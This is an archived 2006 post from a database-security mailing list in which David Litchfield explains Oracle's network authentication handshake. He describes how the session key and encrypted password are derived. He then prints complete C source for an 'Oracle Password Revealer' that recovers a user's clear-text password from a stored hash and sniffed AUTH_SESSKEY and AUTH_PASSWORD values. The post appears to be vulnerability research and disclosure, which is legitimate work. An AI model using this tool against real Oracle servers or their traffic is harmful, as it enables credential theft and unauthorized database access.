[dbsec] Re: Sniffing Oracle authentications
- From: "David Litchfield" <davidl@xxxxxxxxxxxxxxx>
- To: <dbsec@xxxxxxxxxxxxx>
- Date: Mon, 27 Nov 2006 14:05:11 -0000
Hi Hamid,
I was thinking about sniffing Oracle authentications out of network
traffic ,but
since long time ago I`ve not seen any implementation of such tool in
public.
maybe the reason is the way Oracle switch client to new random port before
authentication . Although simple sniffing won`t work for this case but
I guess
it`s not that hard to develop a smart sniffer that capture traffic on
1521 and
follow oracle to it`s new port , offered to client for authentication.
*maybe there is another issue about sniffing auth. info which I`m not
aware ?
Any comments , tools recommendations , URLs about this topic ?
Any number of network sniffers (tcpdump, ethereal, network monitior,
ngssniff) will be able to capture authentication details - just set a filter
on the relevant TCP port. One of the topics I fully discuss in the Oracle
Hacker's Handbook
(http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221/
), due out in January 2007, is the authentication mechanism in Oracle. In
brief though:
The server takes the supplied username and checks if it is a valid user. If
it is not the server sends a "login denied" error to the client. We'll come
back to this shortly. If the username does exist then the server extracts
the user's password hash from the database. The server uses this hash to
create a secret number. The secret number is created as follows: the server
calls the slgdt() function in the orageneric library. This function
essentially gets the system time. The minutes, hours, milliseconds and
second, all stored as a WORD, are joined to form the 8 bytes of "text" to be
encrypted. The first 4 bytes of the key to be used in the encryption is the
minutes and hours xored with the last four bytes of the user's hex password
hash; the last four bytes of the key are made up from the milliseconds and
the seconds xored with the first 4 bytes of the user's hex password hash.
This key is used to encrypt the text by calling the kzsrenc() function in
the oracommon library. This function basically performs DES key scheduling
using the lncgks() function and then uses the lncecb() function to output
the cipher text using DES in ECB mode.
The cipher text produced here becomes the secret number. This secret number
is then encrypted with the user's password hash, again using the kzsrenc()
function and the result of this becomes the AUTH_SESSKEY. This is then sent
over to the client.
On receiving the AUTH_SESSKEY the client must decrypt it to get out the
secret number. The user creates a copy of their own password hash using the
lncupw() function in the oracore library. This hash is then used as the key
to decrypt the AUTH_SESSKEY by calling the kzsrdec() function. All things
going well this should produce the secret number. This secret number is then
used as a key to encrypt the user's clear text, case sensitive password by
calling the kzsrenp() function. This function performs the DES key
scheduling and encrypts the user's password in CBC mode. The cipher text is
then sent back to the server as the AUTH_PASSWORD.
The server decrypts the AUTH_PASSWORD with the secret number used as the key
by calling the kzsrdep() function in the oracommon library. The server now
has a copy of the clear text password. The server then creates the password
hash and compares it with the hash in the database. If they match the user
is authenticated. Checks are then performed by the server to see if the user
has the CREATE SESSION privilege and if so the user is given access to the
database server.
What this means is that, if you have knowledge of the password hash stored
in the database and can capture the AUTH_SESSKEY and the AUTH_PASSWORD then
you can extract the trivially obtain the clear text password:
/*
C:\>cl /TC opass.c
C:\>opass E:\oracle\ora81\BIN\oracommon8.dll
EED9B65CCECDB2E9
DF0536A94ADEE746
36A2CB576171FEAD
Secret is CEAF9C221915EC3E
Password is password
*/
#include <stdio.h>
#include <windows.h>
int main(int argc, char *argv[])
{
FARPROC kzsrdec = NULL;
FARPROC kzsrdep = NULL;
HANDLE oracommon = NULL;
unsigned char dll_path[260]="";
unsigned char hash[40]="";
unsigned char sess[40]="";
unsigned char pass[260]="";
unsigned char o[20]="";
unsigned char pwd[200]="";
if(argc!=5)
{
printf("\n\t*** Oracle Password Revealer ***\n\n");
printf("\tC:\\>%s ",argv[0]);
printf("path_to_oracommon.dll ");
printf("password_hash auth_sesskey ");
printf("auth_password\n\n");
printf("\tDavid Litchfield\n");
printf("\tdavid@xxxxxxxxxxxxxxxxxxxx\n");
printf("\t10th June 2006\n\n");
return 0;
}
strncpy(dll_path,argv[1],256);
strncpy(hash,argv[2],36);
strncpy(sess,argv[3],36);
strncpy(pass,argv[4],256);
if(StringToHex(hash,1)==0)
return printf("Error in the password hash.\n");
if(StringToHex(sess,1)==0)
return printf("Error in the auth_sesskey.\n");
if(StringToHex(pass,0)==0)
return printf("Error in the auth_password.\n");
oracommon = LoadLibrary(dll_path);
if(!oracommon)
return printf("Failed to load %s\n",dll_path);
kzsrdec = GetProcAddress(oracommon,"kzsrdec");
if(!kzsrdec)
return printf("No address for kzsrdec.\n");
kzsrdep = GetProcAddress(oracommon,"kzsrdep");
if(!kzsrdep)
return printf("No address for kzsrdep.\n");
kzsrdec(sess,o,hash);
printf("\nSecret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2X\n",
o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[7]);
kzsrdep(pwd,pass,strlen(pass),o);
printf("Password is %s\n",pwd);
return 0;
}
int StringToHex(char *str,int cnv)
{
unsigned int len = 0, c=0,i=0;
unsigned char a=0,b=0;
unsigned char tmp[12]="";
len = strlen(str);
if(len > 16)
return 0;
while(c < len)
{
a = str[c++];
b = str[c++];
if(a > 0x2F && a < 0x3A)
a = a - 0x30;
else if(a > 0x40 && a < 0x47)
a = a - 0x37;
else if(a > 0x60 && a < 0x67)
a = a - 0x57;
else
return 0;
if(b > 0x2F && b < 0x3A)
b = b - 0x30;
else if(b > 0x40 && a < 0x47)
b = b - 0x37;
else if(a > 0x60 && a < 0x67)
b = b - 0x57;
else
return 0;
a = a << 4;
a = a + b;
tmp[i]=a;
i ++;
}
memset(str,0,len);
c=0;
if(cnv)
{
while(c < 8)
{
str[c+0]=tmp[c+3];
str[c+1]=tmp[c+2];
str[c+2]=tmp[c+1];
str[c+3]=tmp[c+0];
c = c + 4;
}
return 1;
}
while(c < 8)
{
str[c]=tmp[c];
c = c ++;
}
return 1;
}
Cheers,
David Litchfield
- Follow-Ups:
- [dbsec] Re: Sniffing Oracle authentications
- From: Hamid Kashfi
- References:
- [dbsec] Sniffing Oracle authentications
- From: Hamid Kashfi
Other related posts:
- » [dbsec] Sniffing Oracle authentications
- » [dbsec] Re: Sniffing Oracle authentications
- » [dbsec] Re: Sniffing Oracle authentications
I was thinking about sniffing Oracle authentications out of network traffic ,butsince long time ago I`ve not seen any implementation of such tool in public.
maybe the reason is the way Oracle switch client to new random port before authentication . Although simple sniffing won`t work for this case but I guess it`s not that hard to develop a smart sniffer that capture traffic on 1521 and follow oracle to it`s new port , offered to client for authentication. *maybe there is another issue about sniffing auth. info which I`m not aware ? Any comments , tools recommendations , URLs about this topic ?
- [dbsec] Re: Sniffing Oracle authentications
- From: Hamid Kashfi
- [dbsec] Sniffing Oracle authentications
- From: Hamid Kashfi